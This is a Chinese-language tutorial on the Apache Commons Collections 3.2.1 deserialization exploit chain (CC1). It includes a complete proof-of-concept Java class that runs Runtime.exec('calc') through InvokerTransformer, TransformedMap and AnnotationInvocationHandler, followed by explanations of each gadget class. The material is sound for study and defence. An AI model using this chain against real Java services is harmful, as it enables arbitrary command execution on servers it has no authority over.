Apache Commons Collections 反序列化利用
包和简介
背景介绍
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta
项目。Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper
(是一些已发布的项目)、Sandbox
(是一些正在开发的项目)和Dormant
(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
包结构介绍
注意:Commons Collections的最新版是4.1,但由于工作中大多还是3.x的版本,这里就以3.x中的最后一个版本3.2.2作使用介绍。
以下是Collections的包结构和简单介绍,如果你想了解更多的各个包下的接口和实现,请参考Apache Commons Collections 3.2.2 API文档。
org.apache.commons.collections
– CommonsCollections自定义的一组公用的接口和工具类org.apache.commons.collections.bag
– 实现Bag接口的一组类org.apache.commons.collections.bidimap
– 实现BidiMap系列接口的一组类org.apache.commons.collections.buffer
– 实现Buffer接口的一组类org.apache.commons.collections.collection
–实现java.util.Collection接口的一组类org.apache.commons.collections.comparators
– 实现java.util.Comparator接口的一组类org.apache.commons.collections.functors
–Commons Collections自定义的一组功能类org.apache.commons.collections.iterators
– 实现java.util.Iterator接口的一组类org.apache.commons.collections.keyvalue
– 实现集合和键/值映射相关的一组类org.apache.commons.collections.list
– 实现java.util.List接口的一组类org.apache.commons.collections.map
– 实现Map系列接口的一组类org.apache.commons.collections.set
– 实现Set系列接口的一组类
前置知识
1.mvn依赖
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
2.手打POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc01 {
public static void main(String[] args) throws Exception {
// 反射调用 Runtime.exec("calc");
// Class r = Runtime.class;
// Method getRuntime = r.getMethod("getRuntime", null);
// Object runtime = getRuntime.invoke(null, null);
// Method exec = r.getMethod("exec", new Class[]{String.class});
// Object calc = exec.invoke(runtime, new Object[]{"calc"});
// 构造 可序列化的 Transformer 类型的 Runtime.exec("calc");
Transformer[] transformer_ = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer_);
// 构造TransformedMap
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("value","value"); // 将值设置成value,进入条件 限制
// 添加装甲 将map 转化成 TransformedMap
Map<?,?> decorateMap = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
// 生成对象 sun.reflect.annotation.AnnotationInvocationHandler
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandler = aClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandler.setAccessible(true);
Object o = annotationInvocationHandler.newInstance(Target.class, decorateMap);
serialize(o);
unserialize("ser.bin");
}
// 反序列化
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();
}
// 序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
}
3.Transformer
Transformer
是Commons Collections
中提供的一个接口类,只有一个待实现的transform
方法。
public interface Transformer {
/**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
public Object transform(Object input);
}
4.InvokerTransformer
InvokerTransformer
是 Transformer
接口的可序列化的实现类,在构造方法中有三个参数
- 第⼀个参数是待执⾏的⽅法名
- 第⼆个参数是这个函数的参数列表的参数类型
- 第三个参数是传给这个函数的参数列表
里面还提供了一个transform
的方法,该方法可以通过Java反射机制来进行执行任意代码。
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
5.ChainedTransformer
ChainedTransformer
是 Transformer
接口的可序列化的实现类,该类的transform方法为可循环调用iTransformers中每一个值,将它transform的返回值作为下一个的传入值
/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
6.ConstantTransformer
ConstantTransformer
是接口Transformer
的实现类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform
⽅法将这个对象再返回,其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。
/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}
7.Map
Transform
来执行命令需要绑定到Map上,抽象类AbstractMapDecorator
是Apache Commons Collections提供的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()
方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。
TransformedMap
TransformedMap
这个类是用来对Map
进行某些变换(修饰)用的,例如当我们修改Map
中的某个值时,就会触发我们预先定义好的某些操作来对Map
进行处理(回调)。
通过decorate
函数就可以将一个普通的Map
转换为一个TransformedMap
。第二个参数和第三个参数分别对应当key
改变和value
改变时对应transform函数需要做的操作;
Map.Entry
Map.Entry
是Map的一个内部接口。
Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>
。它表示Map中的一个实体(一个key-value对)
。接口中有getKey()
、getValue()
方法。